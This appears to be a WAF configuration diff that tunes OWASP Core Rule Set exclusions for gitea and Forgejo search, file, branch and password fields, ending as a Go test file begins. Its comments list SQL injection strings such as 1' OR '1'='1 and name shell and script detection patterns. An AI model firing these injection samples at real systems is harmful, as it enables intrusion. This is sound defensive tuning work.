# 942230: if (a == b) {
# 944100: java.lang.Runtime
# 944110: java.lang.Runtime
# 944130: java.lang.Runtime
# The searches of issues and pull requests include those of one team of an
# organisation, such as /org/acme/issues/developers, and of one milestone, such
# as /alice/tools/milestone/1.
# gitea has no owner named api. A repository's search, issues, pull requests,
# milestone pages and commit search with that owner get none of this.
# /api/v2/search, for example, is Mastodon's search.
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
[^/]+/-/code|org/[^/]+/(?:issues|pulls)/[^/]+|\
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|milestone/[0-9]+|\
commits/(?:branch|tag|commit)/.+/search)|\
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
"id:900600,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/(?:search|issues(?:/search)?|\
pulls|milestone/[0-9]+|commits/(?:branch|tag|commit)/.+/search)$" \
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=931100;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932130;ARGS:q,\
ctl:ruleRemoveTargetById=932140;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932235;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=932380;ARGS:q,\
ctl:ruleRemoveTargetById=933100;ARGS:q,\
ctl:ruleRemoveTargetById=933130;ARGS:q,\
ctl:ruleRemoveTargetById=933135;ARGS:q,\
ctl:ruleRemoveTargetById=934100;ARGS:q,\
ctl:ruleRemoveTargetById=934110;ARGS:q,\
ctl:ruleRemoveTargetById=934130;ARGS:q,\
ctl:ruleRemoveTargetById=941100;ARGS:q,\
ctl:ruleRemoveTargetById=941110;ARGS:q,\
ctl:ruleRemoveTargetById=941160;ARGS:q,\
ctl:ruleRemoveTargetById=941180;ARGS:q,\
ctl:ruleRemoveTargetById=941390;ARGS:q,\
ctl:ruleRemoveTargetById=942100;ARGS:q,\
ctl:ruleRemoveTargetById=942140;ARGS:q,\
ctl:ruleRemoveTargetById=942190;ARGS:q,\
ctl:ruleRemoveTargetById=942230;ARGS:q,\
ctl:ruleRemoveTargetById=944100;ARGS:q,\
ctl:ruleRemoveTargetById=944110;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
# A page opened from the results of one of those searches has the search's
# address in Referer, which skips these rules then:
# 941110: <script>
# 941120: onClick={
# 941160: <img src=
# 942100: LIKE '%foo%'
# 944100: java.lang.Runtime
# A repository with the owner api is left out here too.
SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
issues(?:/search)?|pulls|[^/]+/-/code|org/[^/]+/(?:issues|pulls)/[^/]+|\
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|milestone/[0-9]+|\
commits/(?:branch|tag|commit)/.+/search)|\
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))\?" \
"id:900601,phase:1,pass,nolog,chain"
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/[^/]+/(?:search|\
issues(?:/search)?|pulls|milestone/[0-9]+|\
commits/(?:branch|tag|commit)/.+/search)\?" \
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
# gitea's searches of repositories, users, branches, tags and packages send a
# name in q, which skips these rules there:
# 930120: .profile
# 932120: powershell-scripts
# 932250: ls -la
# 932260: python3-app
# 944130: org.apache.commons.logging
# [^/]+/[^/]+/packages matches an owner's packages page (/alice/-/packages), a
# repository's (/alice/tools/packages) and gitea's admin page of packages
# (/-/admin/packages). Forgejo's admin page of packages is /admin/packages.
SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
[^/]+/[^/]+/(?:branches|tags|packages)|admin/packages|\
api/v1/repos/search|api/v1/packages/[^/]+)$" \
"id:900602,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
# A branch, tag or package name can hold a slash, as feat/docker-support and
# npm's @scope/name do. So q on a repository's branches, tags and packages
# pages, on an owner's packages page, on the admin page of packages, on the
# API's search of packages and on the Composer and Conan registries' searches
# also skips this rule:
# 932160: /bin/sh
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
admin/packages|api/v1/packages/[^/]+|\
api/packages/[^/]+/(?:composer/search\.json|conan/v[12]/conans/search))$" \
"id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
# gitea's other searches send a name or a few words in q too, which skips only
# these rules there:
# 930120: .profile, .htaccess
# 932120: powershell-scripts, powershell
# 932250: ls -la
# 932260: python3-app, python3
# The searches:
# - the dashboard's filter of repositories;
# - the author filter of the issue and pull request lists;
# - the lists of users and organisations;
# - the API's searches of users, of topics, of an organisation's teams and of
# emails;
# - the searches of the Cargo, Chef, Composer and Conan registries, and the
# NuGet registry's search service;
# - the list of repositories a user watches;
# - an organisation's milestones of one team, and its search for teams;
# - the milestones of a repository or an organisation, and the projects of a
# repository, a user or an organisation;
# - the versions of a package;
# - the issues suggested when an issue is mentioned;
# - the runner lists of the site, a user, an organisation and a repository;
# - the admin lists of users, organisations, repositories, unadopted
# repositories and emails, and the forms on them that adopt a repository or
# activate an email, in the body.
# gitea serves its admin pages under /-/admin/ and Forgejo under /admin/.
# [^/]+/[^/]+/projects matches the projects page of a user or an organisation
# (/alice/-/projects) as well as a repository's. The path of a package's
# versions holds the package's name, which can hold a slash, as npm's
# @scope/name does.
SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
explore/(?:users|organizations)|\
api/v1/(?:users/search|topics/search|orgs/[^/]+/teams/search|\
admin/emails/search)|\
api/packages/[^/]+/(?:cargo/api/v1/crates|chef/api/v1/(?:search|cookbooks)|\
composer/search\.json|conan/v[12]/conans/search|nuget/query)|\
org/[^/]+/(?:milestones/[^/]+|teams/-/search)|\
[^/]+/-/packages/[^/]+/.+/versions|\
[^/]+/[^/]+/(?:(?:issues|pulls)/posters|issues/suggestions|milestones|\
projects|settings/actions/runners)|\
user/settings/actions/runners|\
(?:-/)?admin/(?:users|orgs|repos|repos/unadopted|emails|emails/activate|\
actions/runners))$" \
"id:900603,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# Two of the API's searches send their words in a field other than q, which
# skips these rules there:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3, alice/python3-app
# The search of unadopted repositories sends an owner and a name, such as
# alice/python3-app, in query.
SecRule REQUEST_FILENAME "@rx ^/api/v1/admin/unadopted$" \
"id:900607,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:query,\
ctl:ruleRemoveTargetById=932120;ARGS:query,\
ctl:ruleRemoveTargetById=932250;ARGS:query,\
ctl:ruleRemoveTargetById=932260;ARGS:query"
# The search of a repository's milestones sends a milestone's name in name.
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/milestones$" \
"id:900608,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:name,\
ctl:ruleRemoveTargetById=932120;ARGS:name,\
ctl:ruleRemoveTargetById=932250;ARGS:name,\
ctl:ruleRemoveTargetById=932260;ARGS:name"
# The npm registry's search sends its words in text, which skips these rules
# there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh, as an npm name such as @alice/tools-cli holds a slash
# 932250: ls -la
# 932260: python3
SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/npm/-/v1/search$" \
"id:900609,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:text,\
ctl:ruleRemoveTargetById=932120;ARGS:text,\
ctl:ruleRemoveTargetById=932160;ARGS:text,\
ctl:ruleRemoveTargetById=932250;ARGS:text,\
ctl:ruleRemoveTargetById=932260;ARGS:text"
# A Conan search takes a pattern such as zlib/*, which the rule for SQL
# injection (942100) refused in q. q skips that rule only when the request has
# one q, in the query string or the body, with the shape of a Conan reference.
# A reference is a name, then optionally / and a version, then optionally @
# and a user, then optionally / and a channel. Each part is made of letters,
# digits, _, ., - and *. A part holds no +, since 942100 reads + as a space.
# q must also hold no */, which ends an SQL comment, and no --, which starts
# one. Such a q has no quote, no space and no comment between two words, so
# SQL injection such as these stays refused:
# 1' OR '1'='1
# 1/**/or/**/1
# 1/*@*/or-1
# 1+or+1--
# 1-or-1--
# This rule is in phase 2, because a phase 1 rule runs before the body is read
# and cannot see a q there. It checks tx.app_gitea, since the skip above does
# not reach phase 2.
SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/conan/v[12]/conans/search$" \
"id:900611,phase:2,pass,nolog,chain"
SecRule &TX:app_gitea "@eq 1" "chain"
SecRule &ARGS:q "@eq 1" "chain"
SecRule ARGS:q "!@contains */" "chain"
SecRule ARGS:q "!@contains --" "chain"
SecRule ARGS:q "@rx ^[\w.*-]+(?:/[\w.*-]+)?(?:@[\w.*-]+(?:/[\w.*-]+)?)?$" \
"ctl:ruleRemoveTargetById=942100;ARGS:q"
# The NuGet v2 API's searches, Search() and Packages(), send their words in
# searchTerm, or in $filter as an expression such as
# tolower(Id) eq 'python3'. Search()/$count and Packages()/$count count a
# search's results and read the same fields. searchTerm skips these rules:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# $filter skips these:
# 930120: .htaccess
# 932120: powershell
# The names $filter, $orderby and $top skip the rule for MongoDB operators
# (942290), which refused every such search.
SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/nuget/(?:Search|Packages)\(\)(?:/\$count)?$" \
"id:900612,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:searchTerm,\
ctl:ruleRemoveTargetById=932120;ARGS:searchTerm,\
ctl:ruleRemoveTargetById=932250;ARGS:searchTerm,\
ctl:ruleRemoveTargetById=932260;ARGS:searchTerm,\
ctl:ruleRemoveTargetById=930120;ARGS:$filter,\
ctl:ruleRemoveTargetById=932120;ARGS:$filter,\
ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$filter,\
ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$orderby,\
ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$top"
# The repositories on a user's or an organisation's page are searched with q
# too. Their path has one segment, so q skips these rules on every path of one
# segment, other apps' pages such as /index.php included:
# 930120: .profile
# 932120: powershell-scripts
# 932260: python3-app
SecRule REQUEST_FILENAME "@rx ^/[^/]+$" \
"id:900604,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# On those pages q skips 932250 too, which refused ls -la, but only on a path
# made of the characters a user's or an organisation's name may hold. Those are
# letters, digits, -, _ and dots, the first a letter or digit, so
# /login.jsp;jsessionid=abc keeps 932250. A path that ends in a server-side
# script's extension keeps it too, such as /index.php or /search.cgi.
SecRule REQUEST_FILENAME "@rx ^/[0-9A-Za-z][-.\w]*$" \
"id:900606,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx \.(?:php|phtml|php5|cgi|pl|py|asp|aspx|jsp)$" \
"t:lowercase,ctl:ruleRemoveTargetById=932250;ARGS:q"
# These requests name a file in the path, which skips these rules there:
# 920500: notes.txt~
# 934100: process.env.d.ts
# 941130: docs/a b.xhtml
# 944130: java.lang.String.md
# The requests:
# - a file's page, raw file and download;
# - its blame, history, edit, preview and delete pages;
# - the API's call for its contents;
# - a release attachment's download.
SecRule REQUEST_FILENAME \
"@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/(?:src|raw|media|blame|commits|_edit|_preview|_delete|contents|releases/download)/" \
"id:900610,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920500;REQUEST_FILENAME,\
ctl:ruleRemoveTargetById=934100;REQUEST_FILENAME,\
ctl:ruleRemoveTargetById=941130;REQUEST_FILENAME,\
ctl:ruleRemoveTargetById=944130;REQUEST_FILENAME"
# The requests below name a file in a query parameter. These rules refused
# them for the file named:
# 930120: .gitignore
# 932120: install-script.sh
# 932130: [draft].md
# 932160: bin/docker-entrypoint
# 932260: docker-compose.yml
# 934100: process.env.d.ts
# 934130: __proto__.json
# 941130: index.xhtml
# 941180: document.write.js
# 942140: information_schema.sql
# 944110: java/lang/Runtime.java
# 944130: java.lang.String.md
# Each request skips the rules that refused it. Rule 900591 already has path and
# redirect_to skip 930120, 932160 and 932260 on every path.
# A file's commit graph, in file.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
"id:900620,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:file,\
ctl:ruleRemoveTargetById=932120;ARGS:file,\
ctl:ruleRemoveTargetById=932160;ARGS:file,\
ctl:ruleRemoveTargetById=932260;ARGS:file,\
ctl:ruleRemoveTargetById=934100;ARGS:file,\
ctl:ruleRemoveTargetById=934130;ARGS:file,\
ctl:ruleRemoveTargetById=941130;ARGS:file,\
ctl:ruleRemoveTargetById=941180;ARGS:file,\
ctl:ruleRemoveTargetById=942140;ARGS:file,\
ctl:ruleRemoveTargetById=944110;ARGS:file,\
ctl:ruleRemoveTargetById=944130;ARGS:file"
# The API's list of a file's commits, in path.
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/commits$" \
"id:900621,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:path,\
ctl:ruleRemoveTargetById=934100;ARGS:path,\
ctl:ruleRemoveTargetById=934130;ARGS:path,\
ctl:ruleRemoveTargetById=941130;ARGS:path,\
ctl:ruleRemoveTargetById=941180;ARGS:path,\
ctl:ruleRemoveTargetById=942140;ARGS:path,\
ctl:ruleRemoveTargetById=944110;ARGS:path,\
ctl:ruleRemoveTargetById=944130;ARGS:path"
# The API's call for the contents of several files, in body, as JSON.
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/file-contents$" \
"id:900622,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:body,\
ctl:ruleRemoveTargetById=932120;ARGS:body,\
ctl:ruleRemoveTargetById=932160;ARGS:body,\
ctl:ruleRemoveTargetById=934100;ARGS:body,\
ctl:ruleRemoveTargetById=934130;ARGS:body,\
ctl:ruleRemoveTargetById=941130;ARGS:body,\
ctl:ruleRemoveTargetById=941180;ARGS:body,\
ctl:ruleRemoveTargetById=942140;ARGS:body,\
ctl:ruleRemoveTargetById=944110;ARGS:body,\
ctl:ruleRemoveTargetById=944130;ARGS:body"
# An issue opened from a template, in template.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/issues/new$" \
"id:900623,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:template,\
ctl:ruleRemoveTargetById=932120;ARGS:template,\
ctl:ruleRemoveTargetById=932130;ARGS:template,\
ctl:ruleRemoveTargetById=932160;ARGS:template,\
ctl:ruleRemoveTargetById=932260;ARGS:template,\
ctl:ruleRemoveTargetById=934100;ARGS:template,\
ctl:ruleRemoveTargetById=934130;ARGS:template,\
ctl:ruleRemoveTargetById=941130;ARGS:template,\
ctl:ruleRemoveTargetById=941180;ARGS:template,\
ctl:ruleRemoveTargetById=942140;ARGS:template,\
ctl:ruleRemoveTargetById=944110;ARGS:template,\
ctl:ruleRemoveTargetById=944130;ARGS:template"
# The sign-in page on the way to a file's edit page, in redirect_to.
SecRule REQUEST_FILENAME "@rx ^/user/login$" \
"id:900624,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932130;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=934100;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=934130;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=941130;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=941180;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=942140;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=944110;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=944130;ARGS:redirect_to"
# An attachment uploaded through the API to a release, an issue or a comment,
# in name.
SecRule REQUEST_FILENAME \
"@rx ^/api/v1/repos/[^/]+/[^/]+/(?:releases|issues|issues/comments)/[0-9]+/assets$" \
"id:900625,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:name,\
ctl:ruleRemoveTargetById=932120;ARGS:name,\
ctl:ruleRemoveTargetById=932260;ARGS:name,\
ctl:ruleRemoveTargetById=934100;ARGS:name,\
ctl:ruleRemoveTargetById=934130;ARGS:name,\
ctl:ruleRemoveTargetById=941130;ARGS:name,\
ctl:ruleRemoveTargetById=941180;ARGS:name,\
ctl:ruleRemoveTargetById=942140;ARGS:name,\
ctl:ruleRemoveTargetById=944130;ARGS:name"
# A diff's hidden lines, fetched when shown, in path.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/blob_excerpt/[0-9a-f]+$" \
"id:900626,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:path,\
ctl:ruleRemoveTargetById=934100;ARGS:path,\
ctl:ruleRemoveTargetById=934130;ARGS:path,\
ctl:ruleRemoveTargetById=941130;ARGS:path,\
ctl:ruleRemoveTargetById=941180;ARGS:path,\
ctl:ruleRemoveTargetById=942140;ARGS:path,\
ctl:ruleRemoveTargetById=944110;ARGS:path,\
ctl:ruleRemoveTargetById=944130;ARGS:path"
# The requests below name a branch or tag in a query parameter, which skips
# the list of command names (932260) there. It refused names such as
# docker-build, python3-migration and feat/docker-support.
# Deleting or restoring a branch, in name.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/(?:delete|restore)$" \
"id:900630,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:name"
# A release started from a tag, in tag.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/releases/new$" \
"id:900631,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:tag"
# A branch protection rule opened for editing, in rule_name.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/branches/edit$" \
"id:900632,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:rule_name"
# A directory listing's last commits, in refSubUrl.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
# The requests below name a file or a branch in a body field, which is read only
# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Each field skips the rules that
# refused it.
# Each field below that names a branch skips these rules:
# 932120: fix-powershell-module
# 932260: feat/docker-support
# None applies when the query has a parameter of the same name.
# The web editor's save, new file, delete, upload, patch, cherry-pick and
# preview. The file's path, in tree_path, skips these rules:
# 930120: .htaccess
# 932120: scripts/install-script.sh
# 932260: docker-compose.yml
# The commit's summary, in commit_summary, skips these rules:
# 930120: Remove .htaccess
# 932120: Remove scripts/install-script.sh
# The file's text or the patch, in content, skips one rule:
# 932235: a line that starts with install
# A new branch for the commit is named in new_branch_name.
SecRule REQUEST_FILENAME \
"@rx ^/[^/]+/[^/]+/(?:_edit|_new|_delete|_upload|_diffpatch|_cherrypick|_preview)/" \
"id:900660,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:tree_path|commit_summary|content|new_branch_name)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:tree_path,\
ctl:ruleRemoveTargetById=932120;ARGS:tree_path,\
ctl:ruleRemoveTargetById=932260;ARGS:tree_path,\
ctl:ruleRemoveTargetById=930120;ARGS:commit_summary,\
ctl:ruleRemoveTargetById=932120;ARGS:commit_summary,\
ctl:ruleRemoveTargetById=932235;ARGS:content,\
ctl:ruleRemoveTargetById=932120;ARGS:new_branch_name,\
ctl:ruleRemoveTargetById=932260;ARGS:new_branch_name"
# A branch created on the web, in new_branch_name.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/_new/" \
"id:900661,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:new_branch_name "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:new_branch_name,\
ctl:ruleRemoveTargetById=932260;ARGS:new_branch_name"
# A branch renamed on the web, in from and to.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/rename$" \
"id:900662,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:from,\
ctl:ruleRemoveTargetById=932260;ARGS:from,\
ctl:ruleRemoveTargetById=932120;ARGS:to,\
ctl:ruleRemoveTargetById=932260;ARGS:to"
# A branch created through the API, in new_branch_name. It starts from the
# branch in old_branch_name, or the branch, tag or commit in old_ref_name.
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/branches$" \
"id:900663,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:new_branch_name|old_branch_name|old_ref_name)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:json.new_branch_name,\
ctl:ruleRemoveTargetById=932260;ARGS:json.new_branch_name,\
ctl:ruleRemoveTargetById=932120;ARGS:json.old_branch_name,\
ctl:ruleRemoveTargetById=932260;ARGS:json.old_branch_name,\
ctl:ruleRemoveTargetById=932120;ARGS:json.old_ref_name,\
ctl:ruleRemoveTargetById=932260;ARGS:json.old_ref_name"
# A pull request opened through the API, from the branch in head into the
# branch in base.
# An edit of one sends its new target branch in base.
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/pulls(?:/[0-9]+)?$" \
"id:900664,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:head|base)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:json.head,\
ctl:ruleRemoveTargetById=932260;ARGS:json.head,\
ctl:ruleRemoveTargetById=932120;ARGS:json.base,\
ctl:ruleRemoveTargetById=932260;ARGS:json.base"
# One file or several created, changed or deleted through the API, on the branch
# in branch. A new branch for the commit is named in new_branch. The commit's
# message, in message, skips these rules:
# 930120: Remove .htaccess
# 932120: Add a PowerShell build script
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/contents(?:/|$)" \
"id:900665,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:branch|new_branch|message)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:json.branch,\
ctl:ruleRemoveTargetById=932260;ARGS:json.branch,\
ctl:ruleRemoveTargetById=932120;ARGS:json.new_branch,\
ctl:ruleRemoveTargetById=932260;ARGS:json.new_branch,\
ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932120;ARGS:json.message"
# An artifact upload from actions/upload-artifact@v3 sends the header
# Content-Range, which the Core Rule Set refused (920450).
SecRule REQUEST_FILENAME \
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
"id:900640,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
# The forms that adopt or delete an unadopted repository send its name in id.
# The admin forms put its owner in front, as alice/python3-app. id skips these
# rules there:
# 930120: alice/.profile
# 932120: alice/powershell-scripts
# 932160: robin/assets, which holds bin/as
# 932260: alice/python3-app
# The forms post to these paths:
# /-/admin/repos/unadopted: gitea's admin form
# /admin/repos/unadopted: Forgejo's admin form
# /user/settings/repos/unadopted: the form in a user's settings, on both
SecRule REQUEST_FILENAME \
"@rx ^/(?:(?:-/)?admin|user/settings)/repos/unadopted$" \
"id:900645,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:id,\
ctl:ruleRemoveTargetById=932120;ARGS:id,\
ctl:ruleRemoveTargetById=932160;ARGS:id,\
ctl:ruleRemoveTargetById=932260;ARGS:id"
# The passwords skip each rule that random passwords set off:
# password: signing in, signing up, linking an account, activating an account,
# resetting or changing the password, deleting an account, and creating or
# editing a user on the admin pages
# retype: signing up, linking an account by signing up, and changing the
# password
# old_password: changing the password
# json.password: creating or editing a user through the admin API
SecRule REQUEST_FILENAME "@rx ^/user/(?:login|sign_up|link_account_signin|link_account_signup|activate|recover_account|settings/(?:change_password|account(?:/delete)?))$|^/(?:-/)?admin/users/(?:new|[0-9]+/edit)$|^/api/v1/admin/users(?:/[^/]+)?$" \
"id:900650,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:password|retype|old_password|json\.password)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype|old_password|json\.password)$/"
# Referer skips the rule on Java class names (944130). It refused every page
# opened from the page of java.lang.String.md.
SecAction "id:900641,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=944130;REQUEST_HEADERS:Referer"
# A container image push that reuses a layer names the image it takes the layer
# from in the query parameter from, which skips the list of command names
# (932260) there. It refused the push of a layer from owner/python3-app.
SecRule REQUEST_FILENAME "@rx ^/v2/.+/blobs/uploads/$" \
"id:900500,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:from"
SecMarker END_GITEA
+490
View File
@@ -0,0 +1,490 @@
package coreruleset_test
import (
"net/http"
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// giteaAdminUnadoptedRepos and forgejoAdminUnadoptedRepos are the admin pages
